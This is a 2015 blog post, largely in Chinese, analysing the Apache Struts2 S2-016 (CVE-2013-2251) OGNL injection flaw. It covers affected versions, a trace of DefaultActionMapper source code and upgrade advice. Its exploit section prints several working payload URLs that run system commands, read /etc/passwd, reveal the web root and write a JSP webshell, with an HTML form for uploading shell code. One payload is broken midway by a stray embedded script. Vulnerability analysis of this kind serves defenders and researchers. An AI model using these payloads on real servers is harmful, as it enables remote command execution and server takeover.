struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution

catalog

1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix

 

1. Description

struts2中有2个导航标签(action、redirect),后面可以直接跟ongl表达式,比如

1. test.action?action:${exp}
2. test.action?redirect:${exp}

Struts2的DefaultActionMapper支持一种方法,可以使用"action:"、"redirect:"、"redirectAction:"对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对"action:"、"redirect:"、"redirectAction:"等进行处理,导致ognl表达式可以被执行
在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个漏洞,是struts2对url中的文件名做了解析,导致的ognl代码执行

Relevant Link:

https://struts.apache.org/docs/s2-016.html
http://www.nxadmin.com/web/1177.html


2. Effected Scope

Struts 2.0.0 – Struts 2.3.15


3. Exploit Analysis

0x1: POC: 执行系统指令

http://localhost:8080/S2-XX/Login.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}">test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java

0x2: POC: 测试跳转

http://localhost:8080/S2-XX/Login.action?redirect:%25{3*4}

0x3: POC: 执行任意命令

http://localhost:8080/S2-XX/Login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

0x4: POC: 爆网站路径

http://localhost:8080/S2-XX/Login.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
/*
http://localhost:8080/S2-XX/Login.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}
*/

0x5: POC: GetShell

http://localhost:8080/S2-XX/Login.action?%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/%22%29%29.append%28@java.io.File
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@separator%29.append%28%23a.getParameter%28%22name%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

0x6: POC: GetShell2

http://localhost:8080/S2-XX/Login.action?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%
/*
http://localhost:8080/S2-XX/Login.action?redirect:${
#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#p=(#req.getRealPath("/")+"test.jsp").replaceAll("\\\\", "/"),
new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()
}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f%
*/

然后用以下代码写shell

<form action="http://localhost:8080/S2-XX/test.jsp?f=1.jsp" method="post">
<textarea >code</textarea>
<input type=submit value="提交">
</form>

Relevant Link:

http://www.waitalone.cn/struts2-command-exp.html
http://www.nigesb.com/struts2-remote-command-execution.html
http://www.freebuf.com/vuls/11220.html


4. Principle Of Vulnerability

这里以"redirect:"前缀举例进行源码跟踪分析,struts2会将"redirect:"前缀后面的内容设置到redirect.location当中
org.apache.struts2.dispatcher.FilterDispatcher.class

public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {


        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;
        ServletContext servletContext = getServletContext();

        String timerKey = "FilterDispatcher_doFilter: ";
        try {
            UtilTimerStack.push(timerKey);
            request = prepareDispatcherAndWrapRequest(request, response);
            ActionMapping mapping;
            try {
                mapping = actionMapper.getMapping(request, dispatcher.getConfigurationManager());
            } catch (Exception ex) {
                LOG.error("error getting ActionMapping", ex);
                dispatcher.sendError(request, response, servletContext, HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex);
                return;
            }
..

getMapping函数跟入
org.apache.struts2.dispatcher.mapper.DefaultActionMapper.class

public ActionMapping getMapping(HttpServletRequest request,
            ConfigurationManager configManager) {
        ActionMapping mapping = new ActionMapping();
        String uri = getUri(request);

        uri = dropExtension(uri);
        if (uri == null) {
            return null;
        }

        parseNameAndNamespace(uri, mapping, configManager);

        handleSpecialParameters(request, mapping);
..

继续跟入handleSpecialParameters(request, mapping);
org.apache.struts2.dispatcher.mapper.DefaultActionMapper.class

真正传入OGNL表达式是在这个parameterAction.execute()中,继续跟入

public DefaultActionMapper() {
        prefixTrie = new PrefixTrie() {
            {
                put(METHOD_PREFIX, new ParameterAction() {
                    public void execute(String key, ActionMapping mapping) {
                        mapping
                                .setMethod(key
                                        .substring(METHOD_PREFIX.length()));
                    }
                });

                put(ACTION_PREFIX, new ParameterAction() {
                    public void execute(String key, ActionMapping mapping) {
                        String name = key.substring(ACTION_PREFIX.length());
                        if (allowDynamicMethodCalls) {
                            int bang = name.indexOf('!');
                            if (bang != -1) {
                                String method = name.substring(bang + 1);
                                mapping.setMethod(method);
                                name = name.substring(0, bang);
                            }
                        }
                        mapping.setName(name);
                    }
                });
        
        //key.substring(REDIRECT_PREFIX.length())得到的就是黑客在redirect前缀后面注入的OGNL表达式
                put(REDIRECT_PREFIX, new ParameterAction() {
                    public void execute(String key, ActionMapping mapping) {
                        ServletRedirectResult redirect = new ServletRedirectResult();
                        container.inject(redirect);
            //调用setLocation方法将他设置到redirect.location中
                        redirect.setLocation(key.substring(REDIRECT_PREFIX.length()));
            //调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里
                        mapping.setResult(redirect);
                    }
                });
        ...

上面的过程只是传递OGNL表达式,真正执行是在后面,这里的mapping对象中设置了传入的OGNL
org.apache.struts2.dispatcher.FilterDispatcher.class

这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL

Relevant Link:

http://drops.wooyun.org/papers/902


5. Patch Fix

0x1: upgrade struts2

DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped

It is strongly recommended to upgrade to Struts 2.3.15.1, which contains the corrected Struts2-Core library

0x2: 手工修复

1. 关闭struts2的redirect、action导航功能

Relevant Link:

Copyright (c) 2015 Little5ann All rights reserved

 

posted @ 2015-07-12 17:12  郑瀚Andrew  阅读(2044)  评论(0编辑  收藏  举报